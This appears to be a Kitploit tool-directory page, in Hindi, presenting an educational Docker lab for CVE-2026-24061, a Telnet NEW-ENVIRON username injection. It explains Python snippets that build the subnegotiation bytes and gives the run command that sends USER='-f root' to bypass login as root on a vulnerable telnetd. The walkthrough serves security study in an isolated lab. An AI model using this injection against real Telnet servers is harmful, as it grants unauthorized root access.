Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-24061 — # शैक्षिक Docker लैब जो Telnet NEW-ENVIRON यूज़रनेम इंजेक्शन (CVE-2026-24061) का प्रदर्शन करती है, जिसमें Python क्लाइंट और कमजोर सर्वर शामिल है, जो पृथक सुरक्षा अनुसंधान के लिए है। | Kitploit
उपकरण/GitHubGitHub/tiborscholtz/cve-2026-24061
भेद्यता विश्लेषणशोषणनेटवर्क सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

# शैक्षिक Docker लैब जो Telnet NEW-ENVIRON यूज़रनेम इंजेक्शन (CVE-2026-24061) का प्रदर्शन करती है, जिसमें Python क्लाइंट और कमजोर सर्वर शामिल है, जो पृथक सुरक्षा अनुसंधान के लिए है।

रिपॉजिटरी देखें
6 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

डॉकर टेलनेट ऑटो-लॉगिन लैब

Docker Python License

टेलनेट प्रोटोकॉल नेगोशिएशन के साथ प्रयोग करने के लिए एक हल्का डॉकर लैब, जिसे CVE-2026-24061 एक्सप्लॉइट में समझाया गया है, जिसमें NEW-ENVIRON विकल्प का उपयोग करके स्वचालित यूज़रनेम इंजेक्शन शामिल है।

यह प्रोजेक्ट एक अलग क्लाइंट-सर्वर वातावरण बनाता है ताकि यह अध्ययन किया जा सके कि टेलनेट पर्यावरण-आधारित प्रमाणीकरण बायपास को कैसे संभालता है।


विशेषताएं

  • डॉकर कंपोज़ का उपयोग करके अलग दो-कंटेनर लैब
  • कस्टम पायथन टेलनेट क्लाइंट
  • स्वचालित USER पर्यावरण चर इंजेक्शन
  • बुनियादी टेलनेट विकल्प नेगोशिएशन हैंडलिंग
  • आंतरिक डॉकर DNS-आधारित सेवा खोज
  • न्यूनतम, प्रतिलिपि प्रस्तुत करने योग्य सेटअप

आर्किटेक्चर

root@kitploit:~
+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Client  |                      | Telnet  |
| Python  |                      | Server  |
+---------+                      +---------+
कंटेनरभूमिका
node1ऑटो-लॉगिन स्क्रिप्ट के साथ पायथन क्लाइंट
node2टेलनेट सर्वर (inetutils-telnetd 2.7)

दोनों सेवाएं labnet नामक एक निजी डॉकर ब्रिज नेटवर्क के अंदर चलती हैं।


प्रोजेक्ट संरचना

root@kitploit:~
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

फ़ाइल विवरण

Dockerfile.node1

यह फ़ाइल node1 नामक क्लाइंट कंटेनर की स्थापना के लिए जिम्मेदार है।

मैंने python:3.12-slim को आधार छवि के रूप में चुना, क्योंकि इस लैब का उद्देश्य केवल नेटवर्क संचार है। हम केवल टेलनेट क्लाइंट स्थापित करते हैं, और exploit.py को कंटेनर के रूट फ़ोल्डर में कॉपी करते हैं।

Dockerfile.node2

यह फ़ाइल node2 नामक सर्वर कंटेनर की स्थापना के लिए जिम्मेदार है।

इस कंटेनर के लिए भी वही आधार छवि लागू होती है। हालांकि, स्थापना प्रक्रिया में अधिक चरण शामिल हैं:

  • अपडेट करने के बाद, हमें telnetd का कमजोर संस्करण प्राप्त करने के लिए wget स्थापित करना होगा।
  • कमजोर संस्करण डाउनलोड करने के बाद, इसे apt get install -y का उपयोग करके स्थापित करें।
  • /etc/inetd.conf में जोड़ी गई पंक्ति टेलनेट सेवा को सक्षम करती है।
  • अंतिम कमांड inetd डेमॉन को कंटेनर के लिए स्टार्टअप कमांड के रूप में सक्षम करता है।

exploit.py

फ़ाइल के शीर्ष पर, हम कुछ स्थिरांक घोषित देखते हैं:

root@kitploit:~
IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC, जिसका मान 255 है, का अर्थ है Interpret As Command, इसलिए यह टेलनेट नियंत्रण अनुक्रम की शुरुआत को चिह्नित करता है।

आप और भी विकल्प देख सकते हैं यहां

प्रारूप आमतौर पर इस तरह दिखता है:

root@kitploit:~
IAC <command> <option>

स्क्रिप्ट में, निम्नलिखित भाग है:

root@kitploit:~
# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

यह if जांचता है कि सर्वर से वर्तमान में प्राप्त डेटा में IAC मान शामिल है या नहीं, यदि हां, तो हमें इसे एक कमांड के रूप में व्याख्या करने की आवश्यकता है।

हम while लूप का उपयोग करके प्राप्त डेटा से गुजरते हैं। हम प्रत्येक बाइट के लिए जांचते हैं कि क्या यह IAC है।

root@kitploit:~
if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

यदि यह है, तो हम cmd और opt चर को डेटा स्ट्रीम का संबंधित बाइट निर्दिष्ट करते हैं।

यदि opt मान NEW_ENVIRON के मान के बराबर है, तो स्क्रिप्ट send_new_environ_user विधि चलाती है।

आइए निम्नलिखित कोड भाग की जांच करें:

root@kitploit:~
data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

SB और SE टेलनेट प्रोटोकॉल के स्थिरांक का हिस्सा हैं। SB का अर्थ है 'Subnegotiation begin', जबकि SE का अर्थ है 'Subnegotiation end'। इन दो मानों के बीच की कोई भी चीज़ एक विशिष्ट कमांड से संबंधित सेटिंग्स हैं, जो सर्वर को भेजी जाती हैं। इस मामले में, हम rfc1572 मानक का उपयोग करके एक संदेश भेजना चाहते हैं, विस्तार से यहां।

हम बाइट अनुक्रम का अंग्रेजी में ढीला अनुवाद कर सकते हैं, जैसे:

root@kitploit:~
- इसे एक कमांड के रूप में व्याख्या करें (IAC)
- यह है (0)
- एक नया पर्यावरण चर (NEW_ENVIRON)
- इस नए पर्यावरण चर का मान है (b"USER" + bytes([ENV_VALUE]) + username.encode())
- उप-कनेक्शन समाप्त करें (IAC + SE)

हालांकि, ऐसे मामले हैं जब लक्षित टेलनेट सर्वर यूज़रनेम से संबंधित पर्यावरण चर का समर्थन नहीं करता है। इस मामले में, हम यूज़रनेम को पारंपरिक तरीके से भेजने के लिए फ़ॉलबैक करते हैं।


आवश्यकताएं

  • डॉकर 24+
  • डॉकर कंपोज़ v2+

स्थापना सत्यापित करें:

root@kitploit:~
docker --version
docker compose version

त्वरित प्रारंभ

1. वातावरण बनाएं और प्रारंभ करें

root@kitploit:~
docker compose up --build -d

स्थिति जांचें:

root@kitploit:~
docker ps

आपको देखना चाहिए:

  • node1
  • node2

2. क्लाइंट कंटेनर में शेल खोलें

root@kitploit:~
docker exec -it node1 bash

एक यूज़रनेम सेट करें, और स्क्रिप्ट चलाएं:

root@kitploit:~
USER="-f root" python exploit.py node2

स्क्रिप्ट निम्न कार्य करेगी:

  • पोर्ट 23 पर node2 से कनेक्ट करें
  • टेलनेट नेगोशिएशन करें
  • NEW-ENVIRON का उपयोग करके USER=-f root भेजें
  • यदि आवश्यक हो तो प्रॉम्प्ट डिटेक्शन पर फ़ॉलबैक करें

नेटवर्किंग

  • नेटवर्क नाम: labnet
  • डॉकर आंतरिक DNS होस्टनाम रिज़ॉल्यूशन की अनुमति देता है
  • होस्ट पर कोई पोर्ट एक्सपोज़ नहीं हैं
  • संचार केवल कंटेनर-से-कंटेनर है
होस्टनामसेवा
node1क्लाइंट
node2टेलनेट सर्वर

कार्यान्वयन नोट्स

क्लाइंट स्क्रिप्ट:

  • टेलनेट नियंत्रण अनुक्रम IAC, DO, WILL को संभालती है, जो क्लाइंट और सर्वर के बीच विकल्प नेगोशिएशन के लिए उपयोग किए जाने वाले मौलिक टेलनेट प्रोटोकॉल कमांड हैं।
  • NEW-ENVIRON अनुरोधों का जवाब देती है
  • भेजती है:
root@kitploit:~
USER=<$USER का मान>
  • फ़ॉलबैक के रूप में login: या username: प्रॉम्प्ट का पता लगाती है

रोकें और साफ करें

वातावरण रोकें:

root@kitploit:~
docker compose down

यदि आप कंटेनर और छवियों को भी हटाना चाहते हैं:

root@kitploit:~
docker compose down --rmi all

सुरक्षा सूचना

टेलनेट डेटा को प्लेनटेक्स्ट में प्रसारित करता है और सुरक्षित नहीं है। यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए अलग वातावरण में है।


समस्या निवारण

कनेक्शन अस्वीकृत

  • सुनिश्चित करें कि कंटेनर चल रहे हैं:

    root@kitploit:~
    docker ps
    

स्क्रिप्ट USER त्रुटि के साथ बाहर निकलती है

  • सुनिश्चित करें कि पर्यावरण चर सेट है:
root@kitploit:~
USER="-f root" python exploit.py node2

परिवर्तनों के बाद पुनर्निर्माण करें

root@kitploit:~
docker compose up --build

लाइसेंस

यह रिपॉजिटरी शैक्षिक और शोध उपयोग के लिए प्रदान की गई है। योगदान और सुधार का स्वागत है।

टूल डाउनलोड करें